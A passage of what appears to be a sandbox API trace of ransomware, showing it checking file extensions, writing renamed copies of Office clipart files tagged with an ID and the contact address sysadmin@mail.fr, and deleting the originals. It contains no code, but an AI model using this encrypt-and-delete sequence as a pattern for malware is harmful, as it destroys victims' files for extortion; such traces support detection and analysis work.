	[0183.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.694] lstrlenW (lpString=".xlsx") returned 5
	[0183.694] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.694] lstrlenW (lpString=".ppt") returned 4
	[0183.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0183.694] lstrlenW (lpString=".zip") returned 4
	[0183.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.694] lstrlenW (lpString=".rar") returned 4
	[0183.694] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.694] lstrlenW (lpString=".bz2") returned 4
	[0183.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.694] lstrlenW (lpString=".7z") returned 3
	[0183.694] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0183.694] lstrlenW (lpString=".dbf") returned 4
	[0183.694] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0183.694] lstrlenW (lpString=".1cd") returned 4
	[0183.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0183.694] lstrlenW (lpString=".jpg") returned 4
	[0183.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.695] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0183.695] lstrlenW (lpString="ED00010_.WMF") returned 12
	[0183.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0183.695] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=1382) returned 1
	[0183.695] CloseHandle (hObject=0x368) returned 1
	[0183.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x220
	[0183.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0183.696] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.696] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0183.697] GetLastError () returned 0x0
	[0183.697] ReadFile (in: hFile=0x368, lpBuffer=0x3b0c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesRead=0x301fecc*=0x566, lpOverlapped=0x0) returned 1
	[0183.698] WriteFile (in: hFile=0x30c, lpBuffer=0x3b0c020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesWritten=0x301fc94*=0x570, lpOverlapped=0x0) returned 1
	[0183.699] ReadFile (in: hFile=0x368, lpBuffer=0x3b0c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.699] WriteFile (in: hFile=0x30c, lpBuffer=0x3b0c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.699] SetEndOfFile (hFile=0x30c) returned 1
	[0183.699] CloseHandle (hObject=0x30c) returned 1
	[0183.699] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.700] SetEndOfFile (hFile=0x368) returned 1
	[0183.701] CloseHandle (hObject=0x368) returned 1
	[0183.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0183.701] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 1
	[0183.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0183.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0183.702] lstrlenW (lpString=".doc") returned 4
	[0183.702] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.702] lstrlenW (lpString=".docx") returned 5
	[0183.702] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.702] lstrlenW (lpString=".pdf") returned 4
	[0183.702] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.702] lstrlenW (lpString=".xls") returned 4
	[0183.702] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.702] lstrlenW (lpString=".xlsx") returned 5
	[0183.702] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.702] lstrlenW (lpString=".ppt") returned 4
	[0183.702] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0183.702] lstrlenW (lpString=".zip") returned 4
	[0183.702] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.702] lstrlenW (lpString=".rar") returned 4
	[0183.702] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.702] lstrlenW (lpString=".bz2") returned 4
	[0183.702] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.702] lstrlenW (lpString=".7z") returned 3
	[0183.703] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0183.703] lstrlenW (lpString=".dbf") returned 4
	[0183.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0183.703] lstrlenW (lpString=".1cd") returned 4
	[0183.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0183.703] lstrlenW (lpString=".jpg") returned 4
	[0183.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0183.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0183.703] lstrlenW (lpString=".doc") returned 4
	[0183.703] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.703] lstrlenW (lpString=".docx") returned 5
	[0183.703] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.703] lstrlenW (lpString=".pdf") returned 4
	[0183.703] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.703] lstrlenW (lpString=".xls") returned 4
	[0183.703] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.703] lstrlenW (lpString=".xlsx") returned 5
	[0183.703] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.703] lstrlenW (lpString=".ppt") returned 4
	[0183.703] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0183.703] lstrlenW (lpString=".zip") returned 4
	[0183.703] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.704] lstrlenW (lpString=".rar") returned 4
	[0183.704] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.704] lstrlenW (lpString=".bz2") returned 4
	[0183.704] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.704] lstrlenW (lpString=".7z") returned 3
	[0183.704] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0183.704] lstrlenW (lpString=".dbf") returned 4
	[0183.704] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0183.704] lstrlenW (lpString=".1cd") returned 4
	[0183.704] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0183.704] lstrlenW (lpString=".jpg") returned 4
	[0183.704] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.704] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0183.704] lstrlenW (lpString="ED00019_.WMF") returned 12
	[0183.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0183.705] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=13042) returned 1
	[0183.705] CloseHandle (hObject=0x368) returned 1
	[0183.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x220
	[0183.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0184.022] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.022] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0184.023] GetLastError () returned 0x0
	[0184.023] ReadFile (in: hFile=0x368, lpBuffer=0x3b0c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesRead=0x301fecc*=0x32f2, lpOverlapped=0x0) returned 1
	[0184.024] WriteFile (in: hFile=0x364, lpBuffer=0x3b0c020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesWritten=0x301fc94*=0x3300, lpOverlapped=0x0) returned 1
	[0184.025] ReadFile (in: hFile=0x368, lpBuffer=0x3b0c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.025] WriteFile (in: hFile=0x364, lpBuffer=0x3b0c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.026] SetEndOfFile (hFile=0x364) returned 1
	[0184.026] CloseHandle (hObject=0x364) returned 1
	[0184.026] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.039] SetEndOfFile (hFile=0x368) returned 1
	[0184.040] CloseHandle (hObject=0x368) returned 1
	[0184.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0184.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 1
	[0184.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0184.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0184.041] lstrlenW (lpString=".doc") returned 4
	[0184.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.041] lstrlenW (lpString=".docx") returned 5
	[0184.041] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.041] lstrlenW (lpString=".pdf") returned 4
	[0184.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.041] lstrlenW (lpString=".xls") returned 4
	[0184.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.041] lstrlenW (lpString=".xlsx") returned 5
	[0184.041] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.042] lstrlenW (lpString=".ppt") returned 4
	[0184.042] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0184.042] lstrlenW (lpString=".zip") returned 4
	[0184.042] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.042] lstrlenW (lpString=".rar") returned 4
	[0184.042] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.042] lstrlenW (lpString=".bz2") returned 4
	[0184.042] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.042] lstrlenW (lpString=".7z") returned 3
	[0184.042] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0184.042] lstrlenW (lpString=".dbf") returned 4
	[0184.042] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0184.042] lstrlenW (lpString=".1cd") returned 4
	[0184.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0184.042] lstrlenW (lpString=".jpg") returned 4
	[0184.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0184.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0184.042] lstrlenW (lpString=".doc") returned 4
	[0184.042] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.042] lstrlenW (lpString=".docx") returned 5
	[0184.042] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.042] lstrlenW (lpString=".pdf") returned 4
	[0184.042] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.043] lstrlenW (lpString=".xls") returned 4
	[0184.043] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.043] lstrlenW (lpString=".xlsx") returned 5
	[0184.043] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.043] lstrlenW (lpString=".ppt") returned 4
	[0184.043] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0184.043] lstrlenW (lpString=".zip") returned 4
	[0184.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.043] lstrlenW (lpString=".rar") returned 4
	[0184.043] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.043] lstrlenW (lpString=".bz2") returned 4
	[0184.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.043] lstrlenW (lpString=".7z") returned 3
	[0184.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0184.043] lstrlenW (lpString=".dbf") returned 4
	[0184.043] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0184.043] lstrlenW (lpString=".1cd") returned 4
	[0184.043] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0184.043] lstrlenW (lpString=".jpg") returned 4
	[0184.043] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.044] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0184.044] lstrlenW (lpString="EN00902_.WMF") returned 12
	[0184.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0184.044] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=7944) returned 1
	[0184.044] CloseHandle (hObject=0x368) returned 1
	[0184.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 0x220
	[0184.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0184.045] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.045] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0184.047] GetLastError () returned 0x0
	[0184.047] ReadFile (in: hFile=0x368, lpBuffer=0x3b0c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesRead=0x301fecc*=0x1f08, lpOverlapped=0x0) returned 1
	[0184.048] WriteFile (in: hFile=0x364, lpBuffer=0x3b0c020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesWritten=0x301fc94*=0x1f10, lpOverlapped=0x0) returned 1
	[0184.049] ReadFile (in: hFile=0x368, lpBuffer=0x3b0c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.050] WriteFile (in: hFile=0x364, lpBuffer=0x3b0c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.050] SetEndOfFile (hFile=0x364) returned 1
	[0184.050] CloseHandle (hObject=0x364) returned 1
	[0184.050] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.050] SetEndOfFile (hFile=0x368) returned 1
	[0184.051] CloseHandle (hObject=0x368) returned 1
	[0184.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0184.052] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 1
	[0184.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0184.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0184.053] lstrlenW (lpString=".doc") returned 4
	[0184.053] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.053] lstrlenW (lpString=".docx") returned 5
	[0184.053] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.053] lstrlenW (lpString=".pdf") returned 4
	[0184.066] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.067] lstrlenW (lpString=".xls") returned 4
	[0184.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.067] lstrlenW (lpString=".xlsx") returned 5
	[0184.067] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.067] lstrlenW (lpString=".ppt") returned 4
	[0184.067] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0184.067] lstrlenW (lpString=".zip") returned 4
	[0184.067] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.067] lstrlenW (lpString=".rar") returned 4
	[0184.067] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.067] lstrlenW (lpString=".bz2") returned 4
	[0184.067] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.067] lstrlenW (lpString=".7z") returned 3
	[0184.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0184.067] lstrlenW (lpString=".dbf") returned 4
	[0184.067] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0184.067] lstrlenW (lpString=".1cd") returned 4
	[0184.067] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0184.067] lstrlenW (lpString=".jpg") returned 4
	[0184.067] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0184.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0184.067] lstrlenW (lpString=".doc") returned 4
	[0184.068] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.068] lstrlenW (lpString=".docx") returned 5
	[0184.068] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.068] lstrlenW (lpString=".pdf") returned 4
	[0184.068] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.068] lstrlenW (lpString=".xls") returned 4
